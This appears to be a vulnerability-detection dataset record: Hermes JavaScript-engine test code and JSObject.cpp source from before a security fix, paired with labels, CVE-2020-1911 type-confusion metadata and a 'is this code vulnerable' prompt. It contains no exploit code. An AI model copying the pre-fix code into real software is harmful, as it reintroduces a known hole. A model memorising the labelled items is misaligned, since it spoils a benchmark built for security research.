rt.evaluatePreparedJavaScript(prep);\n EXPECT_EQ(rt.global().getProperty(rt, \"q\").getNumber(), 1);\n rt.evaluatePreparedJavaScript(prep);\n EXPECT_EQ(rt.global().getProperty(rt, \"q\").getNumber(), 2);\n}", "TEST_P(JSITest, PreparedJavaScriptURLInBacktrace) {\n std::string sourceURL = \"//PreparedJavaScriptURLInBacktrace/Test/URL\";\n std::string throwingSource =\n \"function thrower() { throw new Error('oops')}\"\n \"thrower();\";\n auto prep = rt.prepareJavaScript(\n std::make_unique<StringBuffer>(throwingSource), sourceURL);\n try {\n rt.evaluatePreparedJavaScript(prep);\n FAIL() << \"prepareJavaScript should have thrown an exception\";\n } catch (facebook::jsi::JSError err) {\n EXPECT_NE(std::string::npos, err.getStack().find(sourceURL))\n << \"Backtrace should contain source URL\";\n }\n}", "namespace {", "unsigned countOccurences(const std::string& of, const std::string& in) {\n unsigned occurences = 0;\n std::string::size_type lastOccurence = -1;\n while ((lastOccurence = in.find(of, lastOccurence + 1)) !=\n std::string::npos) {\n occurences++;\n }\n return occurences;\n}", "} // namespace", "TEST_P(JSITest, JSErrorsArePropagatedNicely) {\n unsigned callsBeforeError = 5;", " Function sometimesThrows = function(\n \"function sometimesThrows(shouldThrow, callback) {\"\n \" if (shouldThrow) {\"\n \" throw Error('Omg, what a nasty exception')\"\n \" }\"\n \" callback(callback);\"\n \"}\");", " Function callback = Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"callback\"),\n 0,\n [&sometimesThrows, &callsBeforeError](\n Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n return sometimesThrows.call(rt, --callsBeforeError == 0, args[0]);\n });", " try {\n sometimesThrows.call(rt, false, callback);\n } catch (JSError& error) {\n EXPECT_EQ(error.getMessage(), \"Omg, what a nasty exception\");\n EXPECT_EQ(countOccurences(\"sometimesThrows\", error.getStack()), 6);", " // system JSC JSI does not implement host function names\n // EXPECT_EQ(countOccurences(\"callback\", error.getStack(rt)), 5);\n }\n}", "TEST_P(JSITest, JSErrorsCanBeConstructedWithStack) {\n auto err = JSError(rt, \"message\", \"stack\");\n EXPECT_EQ(err.getMessage(), \"message\");\n EXPECT_EQ(err.getStack(), \"stack\");\n}", "TEST_P(JSITest, JSErrorDoesNotInfinitelyRecurse) {\n Value globalError = rt.global().getProperty(rt, \"Error\");\n rt.global().setProperty(rt, \"Error\", Value::undefined());\n try {\n rt.global().getPropertyAsFunction(rt, \"NotAFunction\");\n FAIL() << \"expected exception\";\n } catch (const JSError& ex) {\n EXPECT_EQ(\n ex.getMessage(),\n \"callGlobalFunction: JS global property 'Error' is undefined, \"\n \"expected a Function (while raising getPropertyAsObject: \"\n \"property 'NotAFunction' is undefined, expected an Object)\");\n }", " // If Error is missing, this is fundamentally a problem with JS code\n // messing up the global object, so it should present in JS code as\n // a catchable string. Not an Error (because that's broken), or as\n // a C++ failure.", " auto fails = [](Runtime& rt, const Value&, const Value*, size_t) -> Value {\n return rt.global().getPropertyAsObject(rt, \"NotAProperty\");\n };\n EXPECT_EQ(\n function(\"function (f) { try { f(); return 'undefined'; }\"\n \"catch (e) { return typeof e; } }\")\n .call(\n rt,\n Function::createFromHostFunction(\n rt, PropNameID::forAscii(rt, \"fails\"), 0, fails))\n .getString(rt)\n .utf8(rt),\n \"string\");", " rt.global().setProperty(rt, \"Error\", globalError);\n}", "TEST_P(JSITest, JSErrorStackOverflowHandling) {\n rt.global().setProperty(\n rt,\n \"callSomething\",\n Function::createFromHostFunction(\n rt,\n PropNameID::forAscii(rt, \"callSomething\"),\n 0,\n [this](\n Runtime& rt2,\n const Value& thisVal,\n const Value* args,\n size_t count) {\n EXPECT_EQ(&rt, &rt2);\n return function(\"function() { return 0; }\").call(rt);\n }));\n try {\n eval(\"(function f() { callSomething(); f.apply(); })()\");\n FAIL();\n } catch (const JSError& ex) {\n EXPECT_NE(std::string(ex.what()).find(\"exceeded\"), std::string::npos);\n }\n}", "TEST_P(JSITest, ScopeDoesNotCrashTest) {\n Scope scope(rt);\n Object o(rt);\n}", "TEST_P(JSITest, ScopeDoesNotCrashWhenValueEscapes) {\n Value v;\n Scope::callInNewScope(rt, [&]() {\n Object o(rt);\n o.setProperty(rt, \"a\", 5);\n v = std::move(o);\n });\n EXPECT_EQ(v.getObject(rt).getProperty(rt, \"a\").getNumber(), 5);\n}", "// Verifies you can have a host object that emulates a normal object\nTEST_P(JSITest, HostObjectWithValueMembers) {\n class Bag : public HostObject {\n public:\n Bag() = default;", " const Value& operator[](const std::string& name) const {\n auto iter = data_.find(name);\n if (iter == data_.end()) {\n return undef_;\n }\n return iter->second;\n }", " protected:\n Value get(Runtime& rt, const PropNameID& name) override {\n return Value(rt, (*this)[name.utf8(rt)]);\n }", " void set(Runtime& rt, const PropNameID& name, const Value& val) override {\n data_.emplace(name.utf8(rt), Value(rt, val));\n }", " Value undef_;\n std::map<std::string, Value> data_;\n };", " auto sharedBag = std::make_shared<Bag>();\n auto& bag = *sharedBag;\n Object jsbag = Object::createFromHostObject(rt, std::move(sharedBag));\n auto set = function(\n \"function (o) {\"\n \" o.foo = 'bar';\"\n \" o.count = 37;\"\n \" o.nul = null;\"\n \" o.iscool = true;\"\n \" o.obj = { 'foo': 'bar' };\"\n \"}\");\n set.call(rt, jsbag);\n auto checkFoo = function(\"function (o) { return o.foo === 'bar'; }\");\n auto checkCount = function(\"function (o) { return o.count === 37; }\");\n auto checkNul = function(\"function (o) { return o.nul === null; }\");\n auto checkIsCool = function(\"function (o) { return o.iscool === true; }\");\n auto checkObj = function(\n \"function (o) {\"\n \" return (typeof o.obj) === 'object' && o.obj.foo === 'bar';\"\n \"}\");\n // Check this looks good from js\n EXPECT_TRUE(checkFoo.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkCount.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkNul.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkIsCool.call(rt, jsbag).getBool());\n EXPECT_TRUE(checkObj.call(rt, jsbag).getBool());", " // Check this looks good from c++\n EXPECT_EQ(bag[\"foo\"].getString(rt).utf8(rt), \"bar\");\n EXPECT_EQ(bag[\"count\"].getNumber(), 37);\n EXPECT_TRUE(bag[\"nul\"].isNull());\n EXPECT_TRUE(bag[\"iscool\"].getBool());\n EXPECT_EQ(\n bag[\"obj\"].getObject(rt).getProperty(rt, \"foo\").getString(rt).utf8(rt),\n \"bar\");\n}", "TEST_P(JSITest, DecoratorTest) {\n struct Count {\n // init here is just to show that a With type does not need to be\n // default constructible.\n explicit Count(int init) : count(init) {}", " // Test optional before method.", " void after() {\n ++count;\n }", " int count;\n };", " static constexpr int kInit = 17;", " class CountRuntime final : public WithRuntimeDecorator<Count> {\n public:\n explicit CountRuntime(std::unique_ptr<Runtime> rt)\n : WithRuntimeDecorator<Count>(*rt, count_),\n rt_(std::move(rt)),\n count_(kInit) {}", " int count() {\n return count_.count;\n }", " private:\n std::unique_ptr<Runtime> rt_;\n Count count_;\n };", " CountRuntime crt(factory());", " crt.description();\n EXPECT_EQ(crt.count(), kInit + 1);", " crt.global().setProperty(crt, \"o\", Object(crt));\n EXPECT_EQ(crt.count(), kInit + 6);\n}", "TEST_P(JSITest, MultiDecoratorTest) {\n struct Inc {\n void before() {\n ++count;\n }", " // Test optional after method.", " int count = 0;\n };", " struct Nest {\n void before() {\n ++nest;\n }", " void after() {\n --nest;\n }", " int nest = 0;\n };", " class MultiRuntime final\n : public WithRuntimeDecorator<std::tuple<Inc, Nest>> {\n public:\n explicit MultiRuntime(std::unique_ptr<Runtime> rt)\n : WithRuntimeDecorator<std::tuple<Inc, Nest>>(*rt, tuple_),\n rt_(std::move(rt)) {}", " int count() {\n return std::get<0>(tuple_).count;\n }\n int nest() {\n return std::get<1>(tuple_).nest;\n }", " private:\n std::unique_ptr<Runtime> rt_;\n std::tuple<Inc, Nest> tuple_;\n };", " MultiRuntime mrt(factory());", " Function expectNestOne = Function::createFromHostFunction(\n mrt,\n PropNameID::forAscii(mrt, \"expectNestOne\"),\n 0,\n [](Runtime& rt, const Value& thisVal, const Value* args, size_t count) {\n MultiRuntime* funcmrt = dynamic_cast<MultiRuntime*>(&rt);\n EXPECT_NE(funcmrt, nullptr);\n EXPECT_EQ(funcmrt->count(), 3);\n EXPECT_EQ(funcmrt->nest(), 1);\n return Value::undefined();\n });", " expectNestOne.call(mrt);", " EXPECT_EQ(mrt.count(), 3);\n EXPECT_EQ(mrt.nest(), 0);\n}", "TEST_P(JSITest, SymbolTest) {\n if (!rt.global().hasProperty(rt, \"Symbol\")) {\n // Symbol is an es6 feature which doesn't exist in older VMs. So\n // the tests which might be elsewhere are all here so they can be\n // skipped.\n return;\n }", " // ObjectTest\n eval(\"x = {1:2, 'three':Symbol('four')}\");\n Object x = rt.global().getPropertyAsObject(rt, \"x\");\n EXPECT_EQ(x.getPropertyNames(rt).size(rt), 2);\n EXPECT_TRUE(x.hasProperty(rt, \"three\"));\n EXPECT_EQ(\n x.getProperty(rt, \"three\").getSymbol(rt).toString(rt), \"Symbol(four)\");", " // ValueTest\n EXPECT_TRUE(eval(\"Symbol('sym')\").isSymbol());\n EXPECT_EQ(eval(\"Symbol('sym')\").getSymbol(rt).toString(rt), \"Symbol(sym)\");", " // EqualsTest\n EXPECT_FALSE(Symbol::strictEquals(\n rt,\n eval(\"Symbol('a')\").getSymbol(rt),\n eval(\"Symbol('a')\").getSymbol(rt)));\n EXPECT_TRUE(Symbol::strictEquals(\n rt,\n eval(\"Symbol.for('a')\").getSymbol(rt),\n eval(\"Symbol.for('a')\").getSymbol(rt)));\n EXPECT_FALSE(\n Value::strictEquals(rt, eval(\"Symbol('a')\"), eval(\"Symbol('a')\")));\n EXPECT_TRUE(Value::strictEquals(\n rt, eval(\"Symbol.for('a')\"), eval(\"Symbol.for('a')\")));\n EXPECT_FALSE(Value::strictEquals(rt, eval(\"Symbol('a')\"), eval(\"'a'\")));\n}", "TEST_P(JSITest, JSErrorTest) {\n // JSError creation can lead to further errors. Make sure these\n // cases are handled and don't cause weird crashes or other issues.\n //\n // Getting message property can throw", " EXPECT_THROW(\n eval(\"var GetMessageThrows = {get message() { throw Error('ex'); }};\"\n \"throw GetMessageThrows;\"),\n JSIException);", " EXPECT_THROW(\n eval(\"var GetMessageThrows = {get message() { throw GetMessageThrows; }};\"\n \"throw GetMessageThrows;\"),\n JSIException);", " // Converting exception message to String can throw", " EXPECT_THROW(\n eval(\n \"Object.defineProperty(\"\n \" globalThis, 'String', {configurable:true, get() { var e = Error(); e.message = 23; throw e; }});\"\n \"var e = Error();\"\n \"e.message = 17;\"\n \"throw e;\"),\n JSIException);", " EXPECT_THROW(\n eval(\n \"var e = Error();\"\n \"Object.defineProperty(\"\n \" e, 'message', {configurable:true, get() { throw Error('getter'); }});\"\n \"throw e;\"),\n JSIException);", " EXPECT_THROW(\n eval(\"var e = Error();\"\n \"String = function() { throw Error('ctor'); };\"\n \"throw e;\"),\n JSIException);", " // Converting an exception message to String can return a non-String", " EXPECT_THROW(\n eval(\"String = function() { return 42; };\"\n \"var e = Error();\"\n \"e.message = 17;\"\n \"throw e;\"),\n JSIException);", " // Exception can be non-Object", " EXPECT_THROW(eval(\"throw 17;\"), JSIException);", " EXPECT_THROW(eval(\"throw undefined;\"), JSIException);", " // Converting exception with no message or stack property to String can throw", " EXPECT_THROW(\n eval(\"var e = {toString() { throw new Error('errstr'); }};\"\n \"throw e;\"),\n JSIException);\n}", "//----------------------------------------------------------------------\n// Test that multiple levels of delegation in DecoratedHostObjects works.", "class RD1 : public RuntimeDecorator<Runtime, Runtime> {\n public:\n RD1(Runtime& plain) : RuntimeDecorator(plain) {}", " Object createObject(std::shared_ptr<HostObject> ho) {\n class DHO1 : public DecoratedHostObject {\n public:\n using DecoratedHostObject::DecoratedHostObject;", " Value get(Runtime& rt, const PropNameID& name) override {\n numGets++;\n return DecoratedHostObject::get(rt, name);\n }\n };\n return Object::createFromHostObject(\n plain(), std::make_shared<DHO1>(*this, ho));\n }", " static unsigned numGets;\n};", "class RD2 : public RuntimeDecorator<Runtime, Runtime> {\n public:\n RD2(Runtime& plain) : RuntimeDecorator(plain) {}", " Object createObject(std::shared_ptr<HostObject> ho) {\n class DHO2 : public DecoratedHostObject {\n public:\n using DecoratedHostObject::DecoratedHostObject;", " Value get(Runtime& rt, const PropNameID& name) override {\n numGets++;\n return DecoratedHostObject::get(rt, name);\n }\n };\n return Object::createFromHostObject(\n plain(), std::make_shared<DHO2>(*this, ho));\n }", " static unsigned numGets;\n};", "class HO : public HostObject {\n public:\n explicit HO(Runtime* expectedRT) : expectedRT_(expectedRT) {}", " Value get(Runtime& rt, const PropNameID& name) override {\n EXPECT_EQ(expectedRT_, &rt);\n return Value(17.0);\n }", " private:\n // The runtime we expect to be called with.\n Runtime* expectedRT_;\n};", "unsigned RD1::numGets = 0;\nunsigned RD2::numGets = 0;", "TEST_P(JSITest, MultilevelDecoratedHostObject) {\n // This test will be run for various test instantiations, so initialize these\n // counters.\n RD1::numGets = 0;\n RD2::numGets = 0;", " RD1 rd1(rt);\n RD2 rd2(rd1);\n // We expect the \"get\" operation of ho to be called with rd2.\n auto ho = std::make_shared<HO>(&rd2);\n auto obj = Object::createFromHostObject(rd2, ho);\n Value v = obj.getProperty(rd2, \"p\");\n EXPECT_TRUE(v.isNumber());\n EXPECT_EQ(17.0, v.asNumber());\n auto ho2 = obj.getHostObject(rd2);\n EXPECT_EQ(ho, ho2);\n EXPECT_EQ(1, RD1::numGets);\n EXPECT_EQ(1, RD2::numGets);\n}", "INSTANTIATE_TEST_CASE_P(\n Runtimes,\n JSITest,\n ::testing::ValuesIn(runtimeGenerators()));" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [394, 1177], "buggy_code_start_loc": [394, 1176], "filenames": ["API/jsi/jsi/test/testlib.cpp", "lib/VM/JSObject.cpp"], "fixing_code_end_loc": [412, 1177], "fixing_code_start_loc": [395, 1176], "message": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:facebook:hermes:*:*:*:*:*:*:*:*", "matchCriteriaId": "A050D3EF-B82D-4B22-8504-42B384E738B9", "versionEndExcluding": "0.4.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected."}, {"lang": "es", "value": "Una vulnerabilidad de confusi\u00f3n de tipos al resolver propiedades de objetos JavaScript con cadenas de prototipos especialmente dise\u00f1adas en Facebook Hermes versiones anteriores al commit fe52854cdf6725c2eaa9e125995da76e6ceb27da, permite a atacantes ejecutar potencialmente c\u00f3digo arbitrario por medio de un JavaScript dise\u00f1ado. Tome en cuenta que esto solo se puede explotar si la aplicaci\u00f3n que usa Hermes permite una evaluaci\u00f3n de JavaScript que no es confiable. Por lo tanto, la mayor\u00eda de las aplicaciones React Native no est\u00e1n afectadas"}], "evaluatorComment": null, "id": "CVE-2020-1911", "lastModified": "2020-09-11T17:02:45.287", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2020-09-04T03:15:09.700", "references": [{"source": "cve-assign@fb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, {"source": "cve-assign@fb.com", "tags": ["Third Party Advisory"], "url": "https://www.facebook.com/security/advisories/cve-2020-1911"}], "sourceIdentifier": "cve-assign@fb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-843"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-843"}], "source": "cve-assign@fb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"}, "type": "CWE-843"}
138
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */", "#include \"hermes/VM/JSObject.h\"", "#include \"hermes/VM/BuildMetadata.h\"\n#include \"hermes/VM/Callable.h\"\n#include \"hermes/VM/HostModel.h\"\n#include \"hermes/VM/InternalProperty.h\"\n#include \"hermes/VM/JSArray.h\"\n#include \"hermes/VM/JSDate.h\"\n#include \"hermes/VM/JSProxy.h\"\n#include \"hermes/VM/Operations.h\"\n#include \"hermes/VM/StringView.h\"", "#include \"llvh/ADT/SmallSet.h\"", "namespace hermes {\nnamespace vm {", "ObjectVTable JSObject::vt{\n VTable(\n CellKind::ObjectKind,\n cellSize<JSObject>(),\n nullptr,\n nullptr,\n nullptr,\n nullptr,\n nullptr,\n nullptr, // externalMemorySize\n VTable::HeapSnapshotMetadata{HeapSnapshot::NodeType::Object,\n JSObject::_snapshotNameImpl,\n JSObject::_snapshotAddEdgesImpl,\n nullptr,\n JSObject::_snapshotAddLocationsImpl}),\n JSObject::_getOwnIndexedRangeImpl,\n JSObject::_haveOwnIndexedImpl,\n JSObject::_getOwnIndexedPropertyFlagsImpl,\n JSObject::_getOwnIndexedImpl,\n JSObject::_setOwnIndexedImpl,\n JSObject::_deleteOwnIndexedImpl,\n JSObject::_checkAllOwnIndexedImpl,\n};", "void ObjectBuildMeta(const GCCell *cell, Metadata::Builder &mb) {\n // This call is just for debugging and consistency purposes.\n mb.addJSObjectOverlapSlots(JSObject::numOverlapSlots<JSObject>());", " const auto *self = static_cast<const JSObject *>(cell);\n mb.addField(\"parent\", &self->parent_);\n mb.addField(\"class\", &self->clazz_);\n mb.addField(\"propStorage\", &self->propStorage_);", " // Declare the direct properties.\n static const char *directPropName[JSObject::DIRECT_PROPERTY_SLOTS] = {\n \"directProp0\", \"directProp1\", \"directProp2\", \"directProp3\"};\n for (unsigned i = mb.getJSObjectOverlapSlots();\n i < JSObject::DIRECT_PROPERTY_SLOTS;\n ++i) {\n mb.addField(directPropName[i], self->directProps() + i);\n }\n}", "#ifdef HERMESVM_SERIALIZE\nvoid JSObject::serializeObjectImpl(\n Serializer &s,\n const GCCell *cell,\n unsigned overlapSlots) {\n auto *self = vmcast<const JSObject>(cell);\n s.writeData(&self->flags_, sizeof(ObjectFlags));\n s.writeRelocation(self->parent_.get(s.getRuntime()));\n s.writeRelocation(self->clazz_.get(s.getRuntime()));\n // propStorage_ : GCPointer<PropStorage> is also ArrayStorage. Serialize\n // *propStorage_ with this JSObject.\n bool hasArray = (bool)self->propStorage_;\n s.writeInt<uint8_t>(hasArray);\n if (hasArray) {\n ArrayStorage::serializeArrayStorage(\n s, self->propStorage_.get(s.getRuntime()));\n }", " // Record the number of overlap slots, so that the deserialization code\n // doesn't need to keep track of it.\n s.writeInt<uint8_t>(overlapSlots);\n for (size_t i = overlapSlots; i < JSObject::DIRECT_PROPERTY_SLOTS; i++) {\n s.writeHermesValue(self->directProps()[i]);\n }\n}", "void ObjectSerialize(Serializer &s, const GCCell *cell) {\n JSObject::serializeObjectImpl(s, cell, JSObject::numOverlapSlots<JSObject>());\n s.endObject(cell);\n}", "void ObjectDeserialize(Deserializer &d, CellKind kind) {\n assert(kind == CellKind::ObjectKind && \"Expected JSObject\");\n void *mem = d.getRuntime()->alloc</*fixedSize*/ true>(cellSize<JSObject>());\n auto *obj = new (mem) JSObject(d, &JSObject::vt.base);", " d.endObject(obj);\n}", "JSObject::JSObject(Deserializer &d, const VTable *vtp)\n : GCCell(&d.getRuntime()->getHeap(), vtp) {\n d.readData(&flags_, sizeof(ObjectFlags));\n d.readRelocation(&parent_, RelocationKind::GCPointer);\n d.readRelocation(&clazz_, RelocationKind::GCPointer);\n if (d.readInt<uint8_t>()) {\n propStorage_.set(\n d.getRuntime(),\n ArrayStorage::deserializeArrayStorage(d),\n &d.getRuntime()->getHeap());\n }", " auto overlapSlots = d.readInt<uint8_t>();\n for (size_t i = overlapSlots; i < JSObject::DIRECT_PROPERTY_SLOTS; i++) {\n d.readHermesValue(&directProps()[i]);\n }\n}\n#endif", "PseudoHandle<JSObject> JSObject::create(\n Runtime *runtime,\n Handle<JSObject> parentHandle) {\n JSObjectAlloc<JSObject> mem{runtime};\n return mem.initToPseudoHandle(new (mem) JSObject(\n runtime,\n &vt.base,\n *parentHandle,\n runtime->getHiddenClassForPrototypeRaw(\n *parentHandle,\n numOverlapSlots<JSObject>() + ANONYMOUS_PROPERTY_SLOTS),\n GCPointerBase::NoBarriers()));\n}", "PseudoHandle<JSObject> JSObject::create(Runtime *runtime) {\n JSObjectAlloc<JSObject> mem{runtime};\n JSObject *objProto = runtime->objectPrototypeRawPtr;\n return mem.initToPseudoHandle(new (mem) JSObject(\n runtime,\n &vt.base,\n objProto,\n runtime->getHiddenClassForPrototypeRaw(\n objProto, numOverlapSlots<JSObject>() + ANONYMOUS_PROPERTY_SLOTS),\n GCPointerBase::NoBarriers()));\n}", "PseudoHandle<JSObject> JSObject::create(\n Runtime *runtime,\n unsigned propertyCount) {\n JSObjectAlloc<JSObject> mem{runtime};\n JSObject *objProto = runtime->objectPrototypeRawPtr;\n auto self = mem.initToPseudoHandle(new (mem) JSObject(\n runtime,\n &vt.base,\n objProto,\n runtime->getHiddenClassForPrototypeRaw(\n objProto, numOverlapSlots<JSObject>() + ANONYMOUS_PROPERTY_SLOTS),\n GCPointerBase::NoBarriers()));", " return runtime->ignoreAllocationFailure(\n JSObject::allocatePropStorage(std::move(self), runtime, propertyCount));\n}", "PseudoHandle<JSObject> JSObject::create(\n Runtime *runtime,\n Handle<HiddenClass> clazz) {\n auto obj = JSObject::create(runtime, clazz->getNumProperties());\n obj->clazz_.set(runtime, *clazz, &runtime->getHeap());\n // If the hidden class has index like property, we need to clear the fast path\n // flag.\n if (LLVM_UNLIKELY(obj->clazz_.get(runtime)->getHasIndexLikeProperties()))\n obj->flags_.fastIndexProperties = false;\n return obj;\n}", "void JSObject::initializeLazyObject(\n Runtime *runtime,\n Handle<JSObject> lazyObject) {\n assert(lazyObject->flags_.lazyObject && \"object must be lazy\");\n // object is now assumed to be a regular object.\n lazyObject->flags_.lazyObject = 0;", " // only functions can be lazy.\n assert(vmisa<Callable>(lazyObject.get()) && \"unexpected lazy object\");\n Callable::defineLazyProperties(Handle<Callable>::vmcast(lazyObject), runtime);\n}", "ObjectID JSObject::getObjectID(JSObject *self, Runtime *runtime) {\n if (LLVM_LIKELY(self->flags_.objectID))\n return self->flags_.objectID;", " // Object ID does not yet exist, get next unique global ID..\n self->flags_.objectID = runtime->generateNextObjectID();\n // Make sure it is not zero.\n if (LLVM_UNLIKELY(!self->flags_.objectID))\n --self->flags_.objectID;\n return self->flags_.objectID;\n}", "CallResult<PseudoHandle<JSObject>> JSObject::getPrototypeOf(\n PseudoHandle<JSObject> selfHandle,\n Runtime *runtime) {\n if (LLVM_LIKELY(!selfHandle->isProxyObject())) {\n return createPseudoHandle(selfHandle->getParent(runtime));\n }", " return JSProxy::getPrototypeOf(\n runtime->makeHandle(std::move(selfHandle)), runtime);\n}", "namespace {", "CallResult<bool> proxyOpFlags(\n Runtime *runtime,\n PropOpFlags opFlags,\n const char *msg,\n CallResult<bool> res) {\n if (LLVM_UNLIKELY(res == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n if (!*res && opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(msg);\n }\n return res;\n}", "} // namespace", "CallResult<bool> JSObject::setParent(\n JSObject *self,\n Runtime *runtime,\n JSObject *parent,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(self->isProxyObject())) {\n return proxyOpFlags(\n runtime,\n opFlags,\n \"Object is not extensible.\",\n JSProxy::setPrototypeOf(\n runtime->makeHandle(self), runtime, runtime->makeHandle(parent)));\n }\n // ES9 9.1.2\n // 4.\n if (self->parent_.get(runtime) == parent)\n return true;\n // 5.\n if (!self->isExtensible()) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\"Object is not extensible.\");\n } else {\n return false;\n }\n }\n // 6-8. Check for a prototype cycle.\n for (JSObject *cur = parent; cur; cur = cur->parent_.get(runtime)) {\n if (cur == self) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\"Prototype cycle detected\");\n } else {\n return false;\n }\n } else if (LLVM_UNLIKELY(cur->isProxyObject())) {\n // TODO this branch should also be used for module namespace and\n // immutable prototype exotic objects.\n break;\n }\n }\n // 9.\n self->parent_.set(runtime, parent, &runtime->getHeap());\n // 10.\n return true;\n}", "void JSObject::allocateNewSlotStorage(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SlotIndex newSlotIndex,\n Handle<> valueHandle) {\n // If it is a direct property, just store the value and we are done.\n if (LLVM_LIKELY(newSlotIndex < DIRECT_PROPERTY_SLOTS)) {\n selfHandle->directProps()[newSlotIndex].set(\n *valueHandle, &runtime->getHeap());\n return;\n }", " // Make the slot index relative to the indirect storage.\n newSlotIndex -= DIRECT_PROPERTY_SLOTS;", " // Allocate a new property storage if not already allocated.\n if (LLVM_UNLIKELY(!selfHandle->propStorage_)) {\n // Allocate new storage.\n assert(newSlotIndex == 0 && \"allocated slot must be at end\");\n auto arrRes = runtime->ignoreAllocationFailure(\n PropStorage::create(runtime, DEFAULT_PROPERTY_CAPACITY));\n selfHandle->propStorage_.set(\n runtime, vmcast<PropStorage>(arrRes), &runtime->getHeap());\n } else if (LLVM_UNLIKELY(\n newSlotIndex >=\n selfHandle->propStorage_.get(runtime)->capacity())) {\n // Reallocate the existing one.\n assert(\n newSlotIndex == selfHandle->propStorage_.get(runtime)->size() &&\n \"allocated slot must be at end\");\n auto hnd = runtime->makeMutableHandle(selfHandle->propStorage_);\n PropStorage::resize(hnd, runtime, newSlotIndex + 1);\n selfHandle->propStorage_.set(runtime, *hnd, &runtime->getHeap());\n }", " {\n NoAllocScope scope{runtime};\n auto *const propStorage = selfHandle->propStorage_.getNonNull(runtime);\n if (newSlotIndex >= propStorage->size()) {\n assert(\n newSlotIndex == propStorage->size() &&\n \"allocated slot must be at end\");\n PropStorage::resizeWithinCapacity(propStorage, runtime, newSlotIndex + 1);\n }\n // If we don't need to resize, just store it directly.\n propStorage->at(newSlotIndex).set(*valueHandle, &runtime->getHeap());\n }\n}", "CallResult<PseudoHandle<>> JSObject::getNamedPropertyValue_RJS(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<JSObject> propObj,\n NamedPropertyDescriptor desc) {\n assert(\n !selfHandle->flags_.proxyObject && !propObj->flags_.proxyObject &&\n \"getNamedPropertyValue_RJS cannot be used with proxy objects\");", " if (LLVM_LIKELY(!desc.flags.accessor))\n return createPseudoHandle(getNamedSlotValue(propObj.get(), runtime, desc));", 